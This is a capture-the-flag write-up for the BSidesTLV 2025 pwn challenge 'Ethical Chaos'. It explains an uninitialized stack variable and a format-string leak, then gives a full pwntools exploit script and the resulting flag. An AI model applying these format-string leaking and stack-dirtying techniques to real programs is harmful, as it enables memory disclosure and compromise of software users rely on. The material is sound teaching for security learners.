Ethical Chaos
- Category: PWN
Description
Loki bent the rules of Ethic in The magic console Can You find the whole for the contradiction , use it and get your flag?
Challenge by Tuv Levav
Sources were attached.
Solution
The challenge simulates a “Magic Defense Console” where we can create, activate, and mix magic spells.
The goal is to trigger a specific “unstable” state in the magic system to read flag.txt.
1. The Win Condition (activate_magic)
The activate_magic function contains a hidden check for “Unknown” magic types.
void __cdecl activate_magic(magic_data magic, unsigned int magic_key)
{
magic_data v2; // [esp-30h] [ebp-38h]
if ( magic.is_ethical == 1 )
{
printf("Activating ethical magic: %s\n", magic.magic_name);
*(_QWORD *)&v2.magic_name[24] = *(_QWORD *)&magic.magic_name[24];
*(_QWORD *)&v2.magic_name[16] = *(_QWORD *)&magic.magic_name[16];
*(_QWORD *)&v2.magic_name[8] = *(_QWORD *)&magic.magic_name[8];
*(_QWORD *)v2.magic_name = *(_QWORD *)magic.magic_name;
v2.ethical_level = magic.ethical_level;
v2.is_ethical = 1;
magic_flow(v2, magic_key);
}
else if ( magic.is_ethical )
{
if ( 0.5 == magic.ethical_level )
{
puts("Good job magician! here is your unsabel magic - flag as reward");
system("cat flag.txt \n");
}
else
{
puts("Unknown magic type.");
}
}
else
{
printf("Activating unethical magic: %s\n", magic.magic_name);
}
}
Target State: We need a spell with:
- Type: Garbage (Non-zero, Not 1).
- Power: Exactly
0.5.
2. The Uninitialized Variable (mix_magic)
The mix_magic function combines spells. It has a critical flaw in its logic flow.
magic_data *__userpurge mix_magic@<eax>(magic_data *__return_ptr retstr, magic_data magic1, magic_data magic2)
{
magic_data mixed_magic; // [esp+10h] [ebp-38h] BYREF
unsigned int v5; // [esp+3Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
strcpy(mixed_magic.magic_name, magic1.magic_name);
if ( magic1.is_ethical != 1 || magic2.is_ethical )
{
if ( magic1.is_ethical || magic2.is_ethical )
{
mixed_magic.ethical_level = 1.0;
}
else
{
mixed_magic.ethical_level = 0.0;
mixed_magic.is_ethical = 0;
puts("The magic is still unethical.");
}
}
else
{
mixed_magic.ethical_level = 0.5;
puts("Nice, magician! You created unstable magic.");
}
*retstr = mixed_magic;
return retstr;
}
If we enter the else block, we get the correct ethical Level (0.5), but the mixed_magic.is_ethical is read from uninitialized stack memory. If we can write garbage data to that stack address right before calling mix_magic, we control is_ethical.
3. The Password Leak (Format String)
Accessing the mixing menu requires a random stack-generated password.
case 3:
{
puts("Harry UP , it's not so easy to be unethical - but you can try.");
puts("Mixing magic is a tricky business, magician.");
puts("Befor- give me the key- it's not very easy to blend");
printf("Enter the magic mix password: ");
clear_output_buffer();
__isoc99_scanf("%100s", &var_88);
clear_input_buffer();
printf(&var_88);
clear_output_buffer();
putchar(0xa);
int32_t eax_59 = atoi(&var_88);
We can use %u format specifiers to leak the stack, find the random integer, and pass the check.
Exploitation Strategy
- Setup: Create two “Ethical” magic spells (Slot 0 and Slot 1).
- Revoke Permissions: Convert Slot 1 to “Unethical” (Status 0). This requires solving a simple XOR challenge provided by the binary.
- Leak Password: Enter the “Mix Magic” menu. Send
%u|%u|%u...as the password. The binary will print stack values. One of these is the required numeric password. - Dirty the Stack:
- Send the correct password to pass the
atoicheck. - Append a long string of ‘A’s to the password (e.g.,
12345AAAAAA...). - The vulnerable
printf(buffer)will print this string, writing0x41414141(“AAAA”) to the stack memory exactly where the uninitialized variable will be read later.
- Send the correct password to pass the
- Trigger
mix_magic:- The function runs.
- It enters the
elseblock (Power = 0.5). - It reads
0x41414141from the dirty stack asis_ethical.
- Win: Activate the newly created chaotic magic spell.
Solution Script
from pwn import *
import ctypes
import re
# HOST = '0.cloud.chals.io'
# PORT = 10736
def solve():
# r = remote(HOST, PORT)
r = process('./Ethical_Chaos') # Local binary required for specific offsets/behavior testing
# --- STEP 1: Setup Magic Slots ---
print("[*] Creating Magic Slots...")
r.sendlineafter(b'action: ', b'1')
r.sendlineafter(b'(0-9): ', b'0')
r.sendlineafter(b'name: ', b'EncryptThoughts')
r.sendlineafter(b'action: ', b'1')
r.sendlineafter(b'(0-9): ', b'1')
r.sendlineafter(b'name: ', b'EncryptThoughts')
# --- STEP 2: Revoke Permissions (XOR Puzzle) ---
print("[*] Solving XOR to revoke permissions...")
r.sendlineafter(b'action: ', b'4')
# Parse Key and Encrypted Password
r.recvuntil(b'encrption_key is: ')
key_int = int(r.recvline().strip())
r.recvuntil(b'encrypted password is: \n')
hex_line = r.recvline().strip()
encrypted_bytes = [int(x, 16) for x in hex_line.split(b' ') if x]
# XOR Logic
key_packed = p32(key_int)
password_bytes = bytearray()
for i, b in enumerate(encrypted_bytes):
password_bytes.append(b ^ key_packed[i % 4])
r.sendlineafter(b'revoke permissions: ', password_bytes)
r.sendlineafter(b'index to revoke permissions: ', b'1')
# --- STEP 3: Leak Mix Password (Format String) ---
print("[*] Leaking stack data...")
r.sendlineafter(b'action: ', b'3')
# Leak ~30 stack values
r.sendlineafter(b'mix password: ', b'|'.join([b'%u']*30))
leak_data = r.recvline().decode(errors='ignore')
if "|" not in leak_data: leak_data += r.recvline().decode(errors='ignore')
candidates = []
for val in leak_data.split('|'):
if val.strip().isdigit():
candidates.append(int(val))
# --- STEP 4: Stack Dirtying & Exploit ---
print("[*] Attempting Stack Dirtying with candidates...")
# We try candidates found on the stack. One is the password.
# We append 'A's to dirty the stack for the uninitialized variable in mix_magic.
for cand in candidates:
r.recvuntil(b'action: ', timeout=1)
r.sendline(b'3') # Select Mix Magic
# Payload: [Valid Password] + [Garbage to fill stack]
payload = str(cand).encode() + b'A' * 100
r.sendlineafter(b'mix password: ', payload)
response = r.recvuntil([b'action: ', b'[slot_2]: '], timeout=1)
if b'[slot_2]: ' in response:
print(f"[+] Password confirmed: {cand}")
# Mix Slot 0 (Ethical) and Slot 1 (Unethical/Revoked)
r.sendline(b'0 1')
break
# --- STEP 5: Activate & Get Flag ---
print("[*] Activating Unstable Magic...")
r.recvuntil(b'action: ')
r.sendline(b'2') # Activate
r.sendlineafter(b'(0-9): ', b'0') # Activate the mixed slot
output = r.recvall(timeout=2).decode(errors='ignore')
flag_match = re.search(r'(BSidesTLLV2025\{.*?\})', output)
if flag_match:
print(f"\n[+] FLAG: {flag_match.group(1)}")
else:
print("[-] Flag not found in output.")
if __name__ == '__main__':
solve()
Result
[*] Activating Unstable Magic...
Good job magician! here is your unsabel magic - flag as reward
[+] FLAG: BSidesTLLV2025{Just_In3Alid_MiX_a3d_XoR}